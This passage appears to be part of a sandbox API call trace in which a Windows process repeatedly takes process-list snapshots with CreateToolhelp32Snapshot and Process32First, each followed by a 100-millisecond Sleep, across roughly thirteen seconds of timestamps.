th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.521] Sleep (dwMilliseconds=0x64) [0119.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0119.640] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.708] Sleep (dwMilliseconds=0x64) [0119.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0119.828] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.888] Sleep (dwMilliseconds=0x64) [0120.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0120.032] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.140] Sleep (dwMilliseconds=0x64) [0120.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0120.373] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.447] Sleep (dwMilliseconds=0x64) [0120.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0120.561] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.638] Sleep (dwMilliseconds=0x64) [0120.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0120.969] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.035] Sleep (dwMilliseconds=0x64) [0121.145] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0121.154] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.222] Sleep (dwMilliseconds=0x64) [0121.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0121.361] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.420] Sleep (dwMilliseconds=0x64) [0121.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0121.544] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.602] Sleep (dwMilliseconds=0x64) [0121.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0121.715] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.792] Sleep (dwMilliseconds=0x64) [0121.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0121.944] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.009] Sleep (dwMilliseconds=0x64) [0122.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0122.122] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.198] Sleep (dwMilliseconds=0x64) [0122.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0122.310] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.383] Sleep (dwMilliseconds=0x64) [0122.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0122.540] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.621] Sleep (dwMilliseconds=0x64) [0122.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0122.734] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.817] Sleep (dwMilliseconds=0x64) [0122.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0122.935] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.008] Sleep (dwMilliseconds=0x64) [0123.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0123.126] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.199] Sleep (dwMilliseconds=0x64) [0123.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0123.313] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.377] Sleep (dwMilliseconds=0x64) [0123.521] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0123.531] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.594] Sleep (dwMilliseconds=0x64) [0123.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0123.718] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.798] Sleep (dwMilliseconds=0x64) [0123.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0123.940] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.005] Sleep (dwMilliseconds=0x64) [0124.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0124.124] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.207] Sleep (dwMilliseconds=0x64) [0124.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0124.327] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.393] Sleep (dwMilliseconds=0x64) [0124.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0124.537] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.600] Sleep (dwMilliseconds=0x64) [0124.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0124.717] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.781] Sleep (dwMilliseconds=0x64) [0124.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0124.904] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.965] Sleep (dwMilliseconds=0x64) [0125.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0125.094] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.162] Sleep (dwMilliseconds=0x64) [0125.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0125.278] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.353] Sleep (dwMilliseconds=0x64) [0125.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0125.468] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.579] Sleep (dwMilliseconds=0x64) [0125.691] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0125.701] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.762] Sleep (dwMilliseconds=0x64) [0125.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0125.888] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.953] Sleep (dwMilliseconds=0x64) [0126.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0126.076] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.139] Sleep (dwMilliseconds=0x64) [0126.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0126.264] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.331] Sleep (dwMilliseconds=0x64) [0126.456] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0126.471] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.563] Sleep (dwMilliseconds=0x64) [0126.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0126.691] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.765] Sleep (dwMilliseconds=0x64) [0126.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0126.892] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.977] Sleep (dwMilliseconds=0x64) [0127.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0127.095] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.164] Sleep (dwMilliseconds=0x64) [0127.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0127.278] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.413] Sleep (dwMilliseconds=0x64) [0127.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0127.567] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.659] Sleep (dwMilliseconds=0x64) [0127.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0127.793] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.876] Sleep (dwMilliseconds=0x64) [0127.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0128.001] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.079] Sleep (dwMilliseconds=0x64) [0128.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0128.205] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.288] Sleep (dwMilliseconds=0x64) [0128.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0128.479] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.633] Sleep (dwMilliseconds=0x64) [0128.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0128.751] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.829] Sleep (dwMilliseconds=0x64) [0128.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0128.952] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.017] Sleep (dwMilliseconds=0x64) [0129.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0129.143] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.216] Sleep (dwMilliseconds=0x64) [0129.332] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0129.343] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.418] Sleep (dwMilliseconds=0x64) [0129.542] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0129.556] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.632] Sleep (dwMilliseconds=0x64) [0129.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0129.751] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.832] Sleep (dwMilliseconds=0x64) [0129.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0129.955] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.037] Sleep (dwMilliseconds=0x64) [0130.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0130.156] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.229] Sleep (dwMilliseconds=0x64) [0130.340] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0130.352] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.427] Sleep (dwMilliseconds=0x64) [0130.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0130.552] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.626] Sleep (dwMilliseconds=0x64) [0130.739] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0130.749] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.814] Sleep (dwMilliseconds=0x64) [0130.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0130.967] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.107] Sleep (dwMilliseconds=0x64) [0131.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0131.232] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.294] Sleep (dwMilliseconds=0x64) [0131.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0131.419] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.490] Sleep (dwMilliseconds=0x64) [0131.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0131.608] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.680] Sleep (dwMilliseconds=0x64) [0131.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0131.803] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.884] Sleep (dwMilliseconds=0x64) [0131.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0132.000] Process32First (in: hSnapshot=0xe48, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.078] Sleep (dwMilliseconds=0x64) [0132.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe48 [0132.204] Process32First (in: hSnapshot=0xe48, 